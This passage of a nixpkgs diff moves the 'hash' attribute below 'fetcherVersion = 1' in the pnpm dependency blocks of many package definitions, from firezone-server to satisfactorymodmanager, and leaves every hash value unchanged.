--- a/pkgs/by-name/fi/firezone-server/package.nix
+++ b/pkgs/by-name/fi/firezone-server/package.nix
@@ -34,8 +34,8 @@ beamPackages.mixRelease rec {
   pnpmDeps = pnpm_9.fetchDeps {
     inherit pname version;
     src = "${src}/apps/web/assets";
-    hash = "sha256-ejyBppFtKeyVhAWmssglbpLleOnbw9d4B+iM5Vtx47A=";
     fetcherVersion = 1;
+    hash = "sha256-ejyBppFtKeyVhAWmssglbpLleOnbw9d4B+iM5Vtx47A=";
   };
   pnpmRoot = "apps/web/assets";
 
diff --git a/pkgs/by-name/fl/flood/package.nix b/pkgs/by-name/fl/flood/package.nix
index 8d561a278e23..263a20088c4b 100644
--- a/pkgs/by-name/fl/flood/package.nix
+++ b/pkgs/by-name/fl/flood/package.nix
@@ -22,8 +22,8 @@ buildNpmPackage rec {
   npmDeps = pnpmDeps;
   pnpmDeps = pnpm_9.fetchDeps {
     inherit pname version src;
-    hash = "sha256-E2VxRcOMLvvCQb9gCAGcBTsly571zh/HWM6Q1Zd2eVw=";
     fetcherVersion = 1;
+    hash = "sha256-E2VxRcOMLvvCQb9gCAGcBTsly571zh/HWM6Q1Zd2eVw=";
   };
 
   passthru = {
diff --git a/pkgs/by-name/fo/follow/package.nix b/pkgs/by-name/fo/follow/package.nix
index 2cbb1401ccb0..4d8459936084 100644
--- a/pkgs/by-name/fo/follow/package.nix
+++ b/pkgs/by-name/fo/follow/package.nix
@@ -30,8 +30,8 @@ stdenv.mkDerivation rec {
 
   pnpmDeps = pnpm_9.fetchDeps {
     inherit pname version src;
-    hash = "sha256-xNGLYzEz1G5sZSqmji+ItJ9D1vvZcwkkygnDeuypcIM=";
     fetcherVersion = 1;
+    hash = "sha256-xNGLYzEz1G5sZSqmji+ItJ9D1vvZcwkkygnDeuypcIM=";
   };
 
   env = {
diff --git a/pkgs/by-name/fr/froide/package.nix b/pkgs/by-name/fr/froide/package.nix
index 9b40924cbaa0..ce9b14189440 100644
--- a/pkgs/by-name/fr/froide/package.nix
+++ b/pkgs/by-name/fr/froide/package.nix
@@ -124,8 +124,8 @@ python.pkgs.buildPythonApplication rec {
 
   pnpmDeps = pnpm.fetchDeps {
     inherit pname version src;
-    hash = "sha256-g7YX2fVXGmb3Qq9NNCb294bk4/0khcIZVSskYbE8Mdw=";
     fetcherVersion = 1;
+    hash = "sha256-g7YX2fVXGmb3Qq9NNCb294bk4/0khcIZVSskYbE8Mdw=";
   };
 
   postBuild = ''
diff --git a/pkgs/by-name/gi/gitbutler/package.nix b/pkgs/by-name/gi/gitbutler/package.nix
index b6741c04df1e..ba50b5ef3b25 100644
--- a/pkgs/by-name/gi/gitbutler/package.nix
+++ b/pkgs/by-name/gi/gitbutler/package.nix
@@ -64,8 +64,8 @@ rustPlatform.buildRustPackage rec {
 
   pnpmDeps = pnpm_9.fetchDeps {
     inherit pname version src;
-    hash = "sha256-5NtfstUuIYyntt09Mu9GAFAOImfO6VMmJ7g15kvGaLE=";
     fetcherVersion = 1;
+    hash = "sha256-5NtfstUuIYyntt09Mu9GAFAOImfO6VMmJ7g15kvGaLE=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/gi/gitify/package.nix b/pkgs/by-name/gi/gitify/package.nix
index f767b0f4d7bc..90d7756ce95d 100644
--- a/pkgs/by-name/gi/gitify/package.nix
+++ b/pkgs/by-name/gi/gitify/package.nix
@@ -33,8 +33,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   pnpmDeps = pnpm_9.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-mV0MgJRP5rN+RRTtKlYi29Yq8+8DMO5bMFXRmPcWx6o=";
     fetcherVersion = 1;
+    hash = "sha256-mV0MgJRP5rN+RRTtKlYi29Yq8+8DMO5bMFXRmPcWx6o=";
   };
 
   env.ELECTRON_SKIP_BINARY_DOWNLOAD = 1;
diff --git a/pkgs/by-name/go/goofcord/package.nix b/pkgs/by-name/go/goofcord/package.nix
index 168a77c346a7..7e238de22f17 100644
--- a/pkgs/by-name/go/goofcord/package.nix
+++ b/pkgs/by-name/go/goofcord/package.nix
@@ -42,8 +42,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   pnpmDeps = pnpm'.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-8dSyU9arSvISc2kDWbg/CP6L4sZjZi/Zv7TZN4ONOjQ=";
     fetcherVersion = 1;
+    hash = "sha256-8dSyU9arSvISc2kDWbg/CP6L4sZjZi/Zv7TZN4ONOjQ=";
   };
 
   env = {
diff --git a/pkgs/by-name/gu/gui-for-clash/package.nix b/pkgs/by-name/gu/gui-for-clash/package.nix
index 0831f4c4d86f..a62b2a436281 100644
--- a/pkgs/by-name/gu/gui-for-clash/package.nix
+++ b/pkgs/by-name/gu/gui-for-clash/package.nix
@@ -43,8 +43,8 @@ let
     pnpmDeps = pnpm_9.fetchDeps {
       inherit (finalAttrs) pname version src;
       sourceRoot = "${finalAttrs.src.name}/frontend";
-      hash = "sha256-5tz1FItH9AvZhJjka8i5Kz22yf/tEmRPkDhz6iswZzc=";
       fetcherVersion = 1;
+      hash = "sha256-5tz1FItH9AvZhJjka8i5Kz22yf/tEmRPkDhz6iswZzc=";
     };
 
     sourceRoot = "${finalAttrs.src.name}/frontend";
diff --git a/pkgs/by-name/gu/gui-for-singbox/package.nix b/pkgs/by-name/gu/gui-for-singbox/package.nix
index fae5157c6005..9dcde1a8f007 100644
--- a/pkgs/by-name/gu/gui-for-singbox/package.nix
+++ b/pkgs/by-name/gu/gui-for-singbox/package.nix
@@ -45,8 +45,8 @@ let
     pnpmDeps = pnpm_9.fetchDeps {
       inherit (finalAttrs) pname version src;
       sourceRoot = "${finalAttrs.src.name}/frontend";
-      hash = "sha256-5tz1FItH9AvZhJjka8i5Kz22yf/tEmRPkDhz6iswZzc=";
       fetcherVersion = 1;
+      hash = "sha256-5tz1FItH9AvZhJjka8i5Kz22yf/tEmRPkDhz6iswZzc=";
     };
 
     sourceRoot = "${finalAttrs.src.name}/frontend";
diff --git a/pkgs/by-name/he/heroic-unwrapped/package.nix b/pkgs/by-name/he/heroic-unwrapped/package.nix
index d5dca60dbe20..466de55844c3 100644
--- a/pkgs/by-name/he/heroic-unwrapped/package.nix
+++ b/pkgs/by-name/he/heroic-unwrapped/package.nix
@@ -33,8 +33,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   pnpmDeps = pnpm_10.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-9WCIdQ91IU8pfq6kpbmmn6APBTNwpCi9ovgRuWYUad8=";
     fetcherVersion = 1;
+    hash = "sha256-9WCIdQ91IU8pfq6kpbmmn6APBTNwpCi9ovgRuWYUad8=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ho/homebox/package.nix b/pkgs/by-name/ho/homebox/package.nix
index d2e40a060116..d3f0be14dfa1 100644
--- a/pkgs/by-name/ho/homebox/package.nix
+++ b/pkgs/by-name/ho/homebox/package.nix
@@ -38,8 +38,8 @@ buildGo123Module {
   pnpmDeps = pnpm_9.fetchDeps {
     inherit pname version;
     src = "${src}/frontend";
-    hash = "sha256-6Q+tIY5dl5jCQyv1F8btLdJg0oEUGs0Wyu/joVdVhf8=";
     fetcherVersion = 1;
+    hash = "sha256-6Q+tIY5dl5jCQyv1F8btLdJg0oEUGs0Wyu/joVdVhf8=";
   };
   pnpmRoot = "../frontend";
 
diff --git a/pkgs/by-name/ho/homepage-dashboard/package.nix b/pkgs/by-name/ho/homepage-dashboard/package.nix
index 554e14711bdc..83bec6554eea 100644
--- a/pkgs/by-name/ho/homepage-dashboard/package.nix
+++ b/pkgs/by-name/ho/homepage-dashboard/package.nix
@@ -50,8 +50,8 @@ stdenv.mkDerivation (finalAttrs: {
       src
       patches
       ;
-    hash = "sha256-1WsiSG+dZVpd28bBjf3EYn95sxMCXsQPd27/otWW0nI=";
     fetcherVersion = 1;
+    hash = "sha256-1WsiSG+dZVpd28bBjf3EYn95sxMCXsQPd27/otWW0nI=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ho/homer/package.nix b/pkgs/by-name/ho/homer/package.nix
index c9db309b6e7e..b92df312d36a 100644
--- a/pkgs/by-name/ho/homer/package.nix
+++ b/pkgs/by-name/ho/homer/package.nix
@@ -25,8 +25,8 @@ stdenvNoCC.mkDerivation rec {
       src
       patches
       ;
-    hash = "sha256-y1R+rlaOtFOHHAgEHPBl40536U10Ft0iUSfGcfXS08Y=";
     fetcherVersion = 1;
+    hash = "sha256-y1R+rlaOtFOHHAgEHPBl40536U10Ft0iUSfGcfXS08Y=";
   };
 
   # Enables specifying a custom Sass compiler binary path via `SASS_EMBEDDED_BIN_PATH` environment variable.
diff --git a/pkgs/by-name/it/it-tools/package.nix b/pkgs/by-name/it/it-tools/package.nix
index 7c8bb989875a..de26c725090e 100644
--- a/pkgs/by-name/it/it-tools/package.nix
+++ b/pkgs/by-name/it/it-tools/package.nix
@@ -23,8 +23,8 @@ stdenv.mkDerivation rec {
 
   pnpmDeps = pnpm_8.fetchDeps {
     inherit pname version src;
-    hash = "sha256-m1eXBE5rakcq8NGnPC9clAAvNJQrN5RuSQ94zfgGZxw=";
     fetcherVersion = 1;
+    hash = "sha256-m1eXBE5rakcq8NGnPC9clAAvNJQrN5RuSQ94zfgGZxw=";
   };
 
   buildPhase = ''
diff --git a/pkgs/by-name/je/jellyseerr/package.nix b/pkgs/by-name/je/jellyseerr/package.nix
index 4034343d93ab..62277f30be3b 100644
--- a/pkgs/by-name/je/jellyseerr/package.nix
+++ b/pkgs/by-name/je/jellyseerr/package.nix
@@ -28,8 +28,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   pnpmDeps = pnpm.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-4odVuAhjc9lUxorWOqPd2ODgexk5PDSS2HtFyq0csU0=";
     fetcherVersion = 1;
+    hash = "sha256-4odVuAhjc9lUxorWOqPd2ODgexk5PDSS2HtFyq0csU0=";
   };
 
   buildInputs = [ sqlite ];
diff --git a/pkgs/by-name/ka/karakeep/package.nix b/pkgs/by-name/ka/karakeep/package.nix
index 196c958702e4..634f089e3544 100644
--- a/pkgs/by-name/ka/karakeep/package.nix
+++ b/pkgs/by-name/ka/karakeep/package.nix
@@ -51,8 +51,8 @@ stdenv.mkDerivation (finalAttrs: {
       '';
     };
 
-    hash = "sha256-2n61uKdT9Q1fobpHunRhC3Eql3fqsV+DcyaEGjYDOyY=";
     fetcherVersion = 1;
+    hash = "sha256-2n61uKdT9Q1fobpHunRhC3Eql3fqsV+DcyaEGjYDOyY=";
   };
   buildPhase = ''
     runHook preBuild
diff --git a/pkgs/by-name/le/legcord/package.nix b/pkgs/by-name/le/legcord/package.nix
index b4a6dbf154c2..5051453b4291 100644
--- a/pkgs/by-name/le/legcord/package.nix
+++ b/pkgs/by-name/le/legcord/package.nix
@@ -44,8 +44,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   pnpmDeps = pnpm.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-nobOORfhwlGEvNt+MfDKd3rXor6tJHDulz5oD1BGY4I=";
     fetcherVersion = 1;
+    hash = "sha256-nobOORfhwlGEvNt+MfDKd3rXor6tJHDulz5oD1BGY4I=";
   };
 
   buildPhase = ''
diff --git a/pkgs/by-name/me/memos/package.nix b/pkgs/by-name/me/memos/package.nix
index 97e48f88b0d9..517824d22319 100644
--- a/pkgs/by-name/me/memos/package.nix
+++ b/pkgs/by-name/me/memos/package.nix
@@ -61,8 +61,8 @@ let
     pnpmDeps = pnpm.fetchDeps {
       inherit (finalAttrs) pname version src;
       sourceRoot = "${finalAttrs.src.name}/web";
-      hash = "sha256-AyQYY1vtBB6DTcieC7nw5aOOVuwESJSDs8qU6PGyaTw=";
       fetcherVersion = 1;
+      hash = "sha256-AyQYY1vtBB6DTcieC7nw5aOOVuwESJSDs8qU6PGyaTw=";
     };
     pnpmRoot = "web";
     nativeBuildInputs = [
diff --git a/pkgs/by-name/me/metacubexd/package.nix b/pkgs/by-name/me/metacubexd/package.nix
index a56ad9d45d81..27d8c6aece81 100644
--- a/pkgs/by-name/me/metacubexd/package.nix
+++ b/pkgs/by-name/me/metacubexd/package.nix
@@ -24,8 +24,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   pnpmDeps = pnpm_9.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-PmVMNSYOffo8ExNIoTkDllRXF+Kau/6QBNkYQn1DKXE=";
     fetcherVersion = 1;
+    hash = "sha256-PmVMNSYOffo8ExNIoTkDllRXF+Kau/6QBNkYQn1DKXE=";
   };
 
   buildPhase = ''
diff --git a/pkgs/by-name/mi/misskey/package.nix b/pkgs/by-name/mi/misskey/package.nix
index 2afc13a47762..87390b5ed6c1 100644
--- a/pkgs/by-name/mi/misskey/package.nix
+++ b/pkgs/by-name/mi/misskey/package.nix
@@ -48,8 +48,8 @@ stdenv.mkDerivation (finalAttrs: {
   # https://nixos.org/manual/nixpkgs/unstable/#javascript-pnpm
   pnpmDeps = pnpm_9.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-YWZhm5eKjB6JGP45WC3UrIkr7vuBUI4Q3oiK8Lst3dI=";
     fetcherVersion = 1;
+    hash = "sha256-YWZhm5eKjB6JGP45WC3UrIkr7vuBUI4Q3oiK8Lst3dI=";
   };
 
   buildPhase = ''
diff --git a/pkgs/by-name/mo/modrinth-app-unwrapped/package.nix b/pkgs/by-name/mo/modrinth-app-unwrapped/package.nix
index 747b703ae64c..5f7a5f0cb9c9 100644
--- a/pkgs/by-name/mo/modrinth-app-unwrapped/package.nix
+++ b/pkgs/by-name/mo/modrinth-app-unwrapped/package.nix
@@ -36,8 +36,8 @@ rustPlatform.buildRustPackage (finalAttrs: {
 
   pnpmDeps = pnpm.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-Q6e942R+3+511qFe4oehxdquw1TgaWMyOGOmP3me54o=";
     fetcherVersion = 1;
+    hash = "sha256-Q6e942R+3+511qFe4oehxdquw1TgaWMyOGOmP3me54o=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/mo/moonfire-nvr/package.nix b/pkgs/by-name/mo/moonfire-nvr/package.nix
index f28324dac034..b661f9a1f07e 100644
--- a/pkgs/by-name/mo/moonfire-nvr/package.nix
+++ b/pkgs/by-name/mo/moonfire-nvr/package.nix
@@ -32,8 +32,8 @@ let
     pnpmDeps = pnpm_9.fetchDeps {
       inherit (finalAttrs) pname version src;
       sourceRoot = "${finalAttrs.src.name}/ui";
-      hash = "sha256-7fMhUFlV5lz+A9VG8IdWoc49C2CTdLYQlEgBSBqJvtw=";
       fetcherVersion = 1;
+      hash = "sha256-7fMhUFlV5lz+A9VG8IdWoc49C2CTdLYQlEgBSBqJvtw=";
     };
     installPhase = ''
       runHook preInstall
diff --git a/pkgs/by-name/mo/moonlight/package.nix b/pkgs/by-name/mo/moonlight/package.nix
index 12e4a6d63dab..ea7d0ad147f9 100644
--- a/pkgs/by-name/mo/moonlight/package.nix
+++ b/pkgs/by-name/mo/moonlight/package.nix
@@ -27,8 +27,8 @@ stdenv.mkDerivation (finalAttrs: {
 
     buildInputs = [ nodejs_22 ];
 
-    hash = "sha256-vrSfrAnLc30kba+8VOPawdp8KaQVUhsD6mUq+YdAJTY=";
     fetcherVersion = 1;
+    hash = "sha256-vrSfrAnLc30kba+8VOPawdp8KaQVUhsD6mUq+YdAJTY=";
   };
 
   env = {
diff --git a/pkgs/by-name/n8/n8n/package.nix b/pkgs/by-name/n8/n8n/package.nix
index 181070830de7..789de0fc802b 100644
--- a/pkgs/by-name/n8/n8n/package.nix
+++ b/pkgs/by-name/n8/n8n/package.nix
@@ -28,8 +28,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   pnpmDeps = pnpm_10.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-tYUbCAb2FI9NXyViDEYcpOST2LwZGx66Zwqy9sl2V1A=";
     fetcherVersion = 1;
+    hash = "sha256-tYUbCAb2FI9NXyViDEYcpOST2LwZGx66Zwqy9sl2V1A=";
   };
 
   nativeBuildInputs =
diff --git a/pkgs/by-name/ni/ni/package.nix b/pkgs/by-name/ni/ni/package.nix
index c943ebba7215..7f2bf48eaa9f 100644
--- a/pkgs/by-name/ni/ni/package.nix
+++ b/pkgs/by-name/ni/ni/package.nix
@@ -24,8 +24,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   pnpmDeps = pnpm.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-gDBjAwut217mdbWyk/dSU4JOkoRbOk4Czlb/lXhWqRU=";
     fetcherVersion = 1;
+    hash = "sha256-gDBjAwut217mdbWyk/dSU4JOkoRbOk4Czlb/lXhWqRU=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/oc/ocis/package.nix b/pkgs/by-name/oc/ocis/package.nix
index a03c50f4734f..c00d6bb28f4c 100644
--- a/pkgs/by-name/oc/ocis/package.nix
+++ b/pkgs/by-name/oc/ocis/package.nix
@@ -50,8 +50,8 @@ buildGoModule rec {
   pnpmDeps = pnpm_9.fetchDeps {
     inherit pname version src;
     sourceRoot = "${src.name}/services/idp";
-    hash = "sha256-gNlN+u/bobnTsXrsOmkDcWs67D/trH3inT5AVQs3Brs=";
     fetcherVersion = 1;
+    hash = "sha256-gNlN+u/bobnTsXrsOmkDcWs67D/trH3inT5AVQs3Brs=";
   };
   pnpmRoot = "services/idp";
 
diff --git a/pkgs/by-name/oc/ocis/web.nix b/pkgs/by-name/oc/ocis/web.nix
index 14b407470371..73ae19b50409 100644
--- a/pkgs/by-name/oc/ocis/web.nix
+++ b/pkgs/by-name/oc/ocis/web.nix
@@ -36,8 +36,8 @@ stdenvNoCC.mkDerivation rec {
 
   pnpmDeps = pnpm_9.fetchDeps {
     inherit pname version src;
-    hash = "sha256-3Erva6srdkX1YQ727trx34Ufx524nz19MUyaDQToz6M=";
     fetcherVersion = 1;
+    hash = "sha256-3Erva6srdkX1YQ727trx34Ufx524nz19MUyaDQToz6M=";
   };
 
   meta = {
diff --git a/pkgs/by-name/ov/overlayed/webui.nix b/pkgs/by-name/ov/overlayed/webui.nix
index 952e7f9ff9e3..37971dacae09 100644
--- a/pkgs/by-name/ov/overlayed/webui.nix
+++ b/pkgs/by-name/ov/overlayed/webui.nix
@@ -13,8 +13,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   pnpmDeps = pnpm_9.fetchDeps {
     inherit (finalAttrs) src pname version;
-    hash = "sha256-+yyxoodcDfqJ2pkosd6sMk77/71RDsGthedo1Oigwto=";
     fetcherVersion = 1;
+    hash = "sha256-+yyxoodcDfqJ2pkosd6sMk77/71RDsGthedo1Oigwto=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/pa/paperless-ngx/package.nix b/pkgs/by-name/pa/paperless-ngx/package.nix
index 78813e20185a..cc48408b1790 100644
--- a/pkgs/by-name/pa/paperless-ngx/package.nix
+++ b/pkgs/by-name/pa/paperless-ngx/package.nix
@@ -69,8 +69,8 @@ let
 
       pnpmDeps = pnpm.fetchDeps {
         inherit pname version src;
-        hash = "sha256-yoTXlxXLcWD2DMxqjb02ZORJ+E0xE1DbZm1VL7vXM4g=";
         fetcherVersion = 1;
+        hash = "sha256-yoTXlxXLcWD2DMxqjb02ZORJ+E0xE1DbZm1VL7vXM4g=";
       };
 
       nativeBuildInputs =
diff --git a/pkgs/by-name/pa/parca/package.nix b/pkgs/by-name/pa/parca/package.nix
index 4b3f3c4c239c..be95da54deea 100644
--- a/pkgs/by-name/pa/parca/package.nix
+++ b/pkgs/by-name/pa/parca/package.nix
@@ -24,8 +24,8 @@ let
 
     pnpmDeps = pnpm_9.fetchDeps {
       inherit (finalAttrs) pname src version;
-      hash = "sha256-MByoIJtynv38TFNVDdZWjkJJpABCjJU2wBrChxM2rdE=";
       fetcherVersion = 1;
+      hash = "sha256-MByoIJtynv38TFNVDdZWjkJJpABCjJU2wBrChxM2rdE=";
     };
 
     nativeBuildInputs = [
diff --git a/pkgs/by-name/pd/pds/package.nix b/pkgs/by-name/pd/pds/package.nix
index 1cbbab0e78fe..ece0d582c89f 100644
--- a/pkgs/by-name/pd/pds/package.nix
+++ b/pkgs/by-name/pd/pds/package.nix
@@ -50,8 +50,8 @@ stdenv.mkDerivation (finalAttrs: {
       src
       sourceRoot
       ;
-    hash = "sha256-+ESVGrgXNCQWOhqH4PM5lKQKcxE/5zxRmIboDZxgxcc=";
     fetcherVersion = 1;
+    hash = "sha256-+ESVGrgXNCQWOhqH4PM5lKQKcxE/5zxRmIboDZxgxcc=";
   };
 
   buildPhase = ''
diff --git a/pkgs/by-name/pg/pgrok/package.nix b/pkgs/by-name/pg/pgrok/package.nix
index 7dc9a44a034f..cff0a849af48 100644
--- a/pkgs/by-name/pg/pgrok/package.nix
+++ b/pkgs/by-name/pg/pgrok/package.nix
@@ -33,8 +33,8 @@ buildGoModule {
 
   env.pnpmDeps = pnpm_9.fetchDeps {
     inherit pname version src;
-    hash = "sha256-o6wxO8EGRmhcYggJnfxDkH+nbt+isc8bfHji8Hu9YKg=";
     fetcherVersion = 1;
+    hash = "sha256-o6wxO8EGRmhcYggJnfxDkH+nbt+isc8bfHji8Hu9YKg=";
   };
 
   vendorHash = "sha256-nIxsG1O5RG+PDSWBcUWpk+4aFq2cYaxpkgOoDqLjY90=";
diff --git a/pkgs/by-name/pi/piped/package.nix b/pkgs/by-name/pi/piped/package.nix
index 374063af3be6..8bb53c6754c7 100644
--- a/pkgs/by-name/pi/piped/package.nix
+++ b/pkgs/by-name/pi/piped/package.nix
@@ -28,8 +28,8 @@ buildNpmPackage rec {
   npmDeps = pnpmDeps;
   pnpmDeps = pnpm_9.fetchDeps {
     inherit pname version src;
-    hash = "sha256-WtZfRZFRV9I1iBlAoV69GGFjdiQhTSBG/iiEadPVcys=";
     fetcherVersion = 1;
+    hash = "sha256-WtZfRZFRV9I1iBlAoV69GGFjdiQhTSBG/iiEadPVcys=";
   };
 
   passthru.updateScript = unstableGitUpdater { };
diff --git a/pkgs/by-name/po/podman-desktop/package.nix b/pkgs/by-name/po/podman-desktop/package.nix
index 6fe82a967b53..bfd83f415744 100644
--- a/pkgs/by-name/po/podman-desktop/package.nix
+++ b/pkgs/by-name/po/podman-desktop/package.nix
@@ -60,8 +60,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   pnpmDeps = pnpm_10.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-IjCO2mLDHhb1fB92plBAFcH1RpmOtiUGlFHEEAAHOJ8=";
     fetcherVersion = 1;
+    hash = "sha256-IjCO2mLDHhb1fB92plBAFcH1RpmOtiUGlFHEEAAHOJ8=";
   };
 
   patches = [
diff --git a/pkgs/by-name/po/porn-vault/package.nix b/pkgs/by-name/po/porn-vault/package.nix
index 7dd5e251116c..fb0a58df550f 100644
--- a/pkgs/by-name/po/porn-vault/package.nix
+++ b/pkgs/by-name/po/porn-vault/package.nix
@@ -51,8 +51,8 @@ stdenvNoCC.mkDerivation (finalAttrs: {
 
   pnpmDeps = pnpm.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-Xr9tRiP1hW+aFs9FnPvPkeJ0/LtJI57cjWY5bZQaRTQ=";
     fetcherVersion = 1;
+    hash = "sha256-Xr9tRiP1hW+aFs9FnPvPkeJ0/LtJI57cjWY5bZQaRTQ=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/po/pot/package.nix b/pkgs/by-name/po/pot/package.nix
index 5a1c84fba77c..a31500b0f309 100644
--- a/pkgs/by-name/po/pot/package.nix
+++ b/pkgs/by-name/po/pot/package.nix
@@ -41,8 +41,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   pnpmDeps = pnpm.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-iYQNGRWqXYBU+WIH/Xm8qndgOQ6RKYCtAyi93kb7xrQ=";
     fetcherVersion = 1;
+    hash = "sha256-iYQNGRWqXYBU+WIH/Xm8qndgOQ6RKYCtAyi93kb7xrQ=";
   };
 
   cargoRoot = "src-tauri";
diff --git a/pkgs/by-name/pr/prisma/package.nix b/pkgs/by-name/pr/prisma/package.nix
index 3bcae8fba8be..cecab11fc8b2 100644
--- a/pkgs/by-name/pr/prisma/package.nix
+++ b/pkgs/by-name/pr/prisma/package.nix
@@ -32,8 +32,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   pnpmDeps = pnpm_9.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-dhEpn0oaqZqeiRMfcSiaqhud/RsKd6Wm5RR5iyQp1I8=";
     fetcherVersion = 1;
+    hash = "sha256-dhEpn0oaqZqeiRMfcSiaqhud/RsKd6Wm5RR5iyQp1I8=";
   };
 
   patchPhase = ''
diff --git a/pkgs/by-name/qu/quantframe/package.nix b/pkgs/by-name/qu/quantframe/package.nix
index 6a622cb21655..a6a70280fb89 100644
--- a/pkgs/by-name/qu/quantframe/package.nix
+++ b/pkgs/by-name/qu/quantframe/package.nix
@@ -41,8 +41,8 @@ rustPlatform.buildRustPackage (finalAttrs: {
 
   pnpmDeps = pnpm_9.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-3IHwwbl1aH3Pzh9xq2Jfev9hj6/LXZaVaIJOPbgsquE=";
     fetcherVersion = 1;
+    hash = "sha256-3IHwwbl1aH3Pzh9xq2Jfev9hj6/LXZaVaIJOPbgsquE=";
   };
 
   useFetchCargoVendor = true;
diff --git a/pkgs/by-name/re/readest/package.nix b/pkgs/by-name/re/readest/package.nix
index d7e8729ca6d0..db79733d03a2 100644
--- a/pkgs/by-name/re/readest/package.nix
+++ b/pkgs/by-name/re/readest/package.nix
@@ -39,8 +39,8 @@ rustPlatform.buildRustPackage (finalAttrs: {
 
   pnpmDeps = pnpm_9.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-Bd+7MHYBMo4N7UpwkXGmk4oQBbyBMJOtnv6iTVQgn64=";
     fetcherVersion = 1;
+    hash = "sha256-Bd+7MHYBMo4N7UpwkXGmk4oQBbyBMJOtnv6iTVQgn64=";
   };
 
   pnpmRoot = "../..";
diff --git a/pkgs/by-name/re/renovate/package.nix b/pkgs/by-name/re/renovate/package.nix
index ce7eddb6600d..0bdec9479968 100644
--- a/pkgs/by-name/re/renovate/package.nix
+++ b/pkgs/by-name/re/renovate/package.nix
@@ -39,8 +39,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   pnpmDeps = pnpm_10.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-2F4vcdu2f0yh+hvs1WWM6MsWv2mmUUhzFVWN3BQvfNk=";
     fetcherVersion = 1;
+    hash = "sha256-2F4vcdu2f0yh+hvs1WWM6MsWv2mmUUhzFVWN3BQvfNk=";
   };
 
   env.COREPACK_ENABLE_STRICT = 0;
diff --git a/pkgs/by-name/rm/rmfakecloud/package.nix b/pkgs/by-name/rm/rmfakecloud/package.nix
index da58d05dbad6..44a994a66945 100644
--- a/pkgs/by-name/rm/rmfakecloud/package.nix
+++ b/pkgs/by-name/rm/rmfakecloud/package.nix
@@ -28,8 +28,8 @@ buildGoModule rec {
     inherit pname version src;
     sourceRoot = "${src.name}/ui";
     pnpmLock = "${src}/ui/pnpm-lock.yaml";
-    hash = "sha256-VNmCT4um2W2ii8jAm+KjQSjixYEKoZkw7CeRwErff/o=";
     fetcherVersion = 1;
+    hash = "sha256-VNmCT4um2W2ii8jAm+KjQSjixYEKoZkw7CeRwErff/o=";
   };
   preBuild = lib.optionals enableWebui ''
     # using sass-embedded fails at executing node_modules/sass-embedded-linux-x64/dart-sass/src/dart
diff --git a/pkgs/by-name/rq/rquickshare/package.nix b/pkgs/by-name/rq/rquickshare/package.nix
index a1fcb7c53e1d..855afe4e3a81 100644
--- a/pkgs/by-name/rq/rquickshare/package.nix
+++ b/pkgs/by-name/rq/rquickshare/package.nix
@@ -64,8 +64,8 @@ rustPlatform.buildRustPackage rec {
       patches
       ;
     postPatch = "cd ${pnpmRoot}";
-    hash = app-type-either "sha256-V46V/VPwCKEe3sAp8zK0UUU5YigqgYh1GIOorqIAiNE=" "sha256-8QRigYNtxirXidFFnTzA6rP0+L64M/iakPqe2lZKegs=";
     fetcherVersion = 1;
+    hash = app-type-either "sha256-V46V/VPwCKEe3sAp8zK0UUU5YigqgYh1GIOorqIAiNE=" "sha256-8QRigYNtxirXidFFnTzA6rP0+L64M/iakPqe2lZKegs=";
   };
 
   useFetchCargoVendor = true;
diff --git a/pkgs/by-name/rs/rsshub/package.nix b/pkgs/by-name/rs/rsshub/package.nix
index d9121ef6d829..e47927a02a74 100644
--- a/pkgs/by-name/rs/rsshub/package.nix
+++ b/pkgs/by-name/rs/rsshub/package.nix
@@ -30,8 +30,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   pnpmDeps = pnpm.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-7qh6YZbIH/kHVssDZxHY7X8bytrnMcUq0MiJzWZYItc=";
     fetcherVersion = 1;
+    hash = "sha256-7qh6YZbIH/kHVssDZxHY7X8bytrnMcUq0MiJzWZYItc=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/sa/satisfactorymodmanager/package.nix b/pkgs/by-name/sa/satisfactorymodmanager/package.nix
index bdb1fa77f346..248a1b3fe428 100644
--- a/pkgs/by-name/sa/satisfactorymodmanager/package.nix
+++ b/pkgs/by-name/sa/satisfactorymodmanager/package.nix
@@ -55,8 +55,8 @@ buildGoModule rec {
